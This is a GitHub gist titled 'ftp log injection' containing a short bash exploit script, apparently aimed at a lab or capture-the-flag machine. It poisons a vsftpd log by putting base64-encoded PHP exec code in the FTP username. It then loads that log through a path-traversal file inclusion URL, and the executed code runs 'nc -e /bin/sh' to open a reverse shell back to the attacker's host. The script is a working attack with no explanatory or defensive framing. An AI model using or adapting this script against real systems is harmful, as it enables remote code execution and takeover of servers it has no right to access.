Created
February 9, 2022 17:27
-
-
Save shollingsworth/491b0000fb24240f0960c729545a99ba to your computer and use it in GitHub Desktop.
ftp log injection
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| IFS=$'\n\t' | |
| path="user.php" | |
| path="/etc/vsftpd/vsftpd.conf" | |
| path="/var/log/vsftpd.log" | |
| R=hostname.com | |
| MYHOST=127.0.0.1 | |
| ## reverse shell | |
| exec_cmd="nc -e /bin/sh $MYHOST 4444" | |
| inject_cmd="echo $(echo ${exec_cmd} | base64 -w0) | base64 -d | bash" | |
| wget --ftp-user="<?php exec(\"${inject_cmd}\"); ?>" [email protected] ftp://${R} || true | |
| curl http://10.10.10.249/admin../admin_staging/index.php?page="${path}" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment